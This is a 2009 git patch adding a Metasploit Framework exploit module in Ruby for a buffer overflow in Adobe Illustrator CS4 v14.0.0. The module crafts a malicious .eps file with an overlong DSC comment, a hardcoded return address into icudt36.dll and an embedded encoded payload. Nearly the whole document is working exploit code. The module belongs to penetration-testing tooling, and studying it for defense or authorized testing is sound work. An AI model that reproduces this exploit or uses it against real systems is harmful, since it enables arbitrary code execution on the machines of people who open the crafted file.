From f6d491a9967234895d138245087b19a663abd26b Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Mon, 7 Dec 2009 20:24:12 +0000 Subject: [PATCH] add exploit module from dookie git-svn-id: file:///home/svn/framework3/trunk@7741 4d416f70-5f16-0410-b530-b9f4589650da --- .../fileformat/adobe_illustrator_v14_eps.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb new file mode 100644 index 0000000000..f51ea9523c --- /dev/null +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -0,0 +1,94 @@ +### +## This file is part of the Metasploit Framework and may be subject to +## redistribution and commercial restrictions. Please see the Metasploit +## Framework web site for more information on licensing and terms of use. +## http://metasploit.com/framework/ +### + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe Illustrator CS4 v14.0.0', + 'Description' => %q{ + Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) + overlong DSC Comment Buffer Overflow Exploit + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Nine:Situations:Group::pyrokinesis', 'dookie' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/10281' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\x0D\x0C\x0A", + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 03 2009', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.eps']), + ], self.class) + + end + + def exploit + + header = "\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00" + header << "\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff" + header << "\xff\x00\x00" + header << "%!PS-Adobe-3.1\x20EPSF-3.0\r\n" + header << "%ADO_DSC_Encoding:\x20Windows\x20Roman\r\n" + header << "%" + sploit = rand_text_alpha(41699) + sploit << [target.ret].pack('V') + sploit << rand_text_alpha(2291) + sploit << "%Title:\x20Untitled-1.eps\r\n" + sploit << "%AAAAAAAA" + sploit << payload.encoded + trailer = ": A\r\n" + trailer << "%%For:\x20alias\r\n" + trailer << "%%CreationDate:\x2011/27/2009\r\n" + trailer += "%%BoundingBox:\x200\x200\x20227\x20171\r\n" + trailer += "%%HiResBoundingBox:\x200\x200\x20226.5044\x20170.3165\r\n" + trailer += "%%CropBox:\x200\x200\x20226.5044\x20170.3165\r\n" + trailer += "%%LanguageLevel:\x202\r\n" + trailer += "%%DocumentData:\x20Clean7Bit\r\n" + trailer += "%ADOBeginClientInjection:\x20DocumentHeader\x20\"AI11EPS\"\r\n" + trailer += "%%AI8_CreatorVersion:\x2014.0.0\r" + trailer += "%AI9_PrintingDataBegin\r" + trailer += "%ADO_BuildNumber:\x20Adobe\x20Illustrator(R)\x2014.0.0\x20x367\x20R\x20agm\x204.4890\x20ct\x205.1541\r" + trailer += "%ADO_ContainsXMP:\x20MainFirst\r" + trailer += "%AI7_Thumbnail:\x20128\x2096\x208\r" + trailer += "%%BeginData:\x204096\x20Hex\x20Bytes\r" + trailer += "%0000330000660000990000CC0033000033330033660033990033CC0033FF\r\n" + + eps = header + sploit + trailer + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + file_create(eps) + + end + +end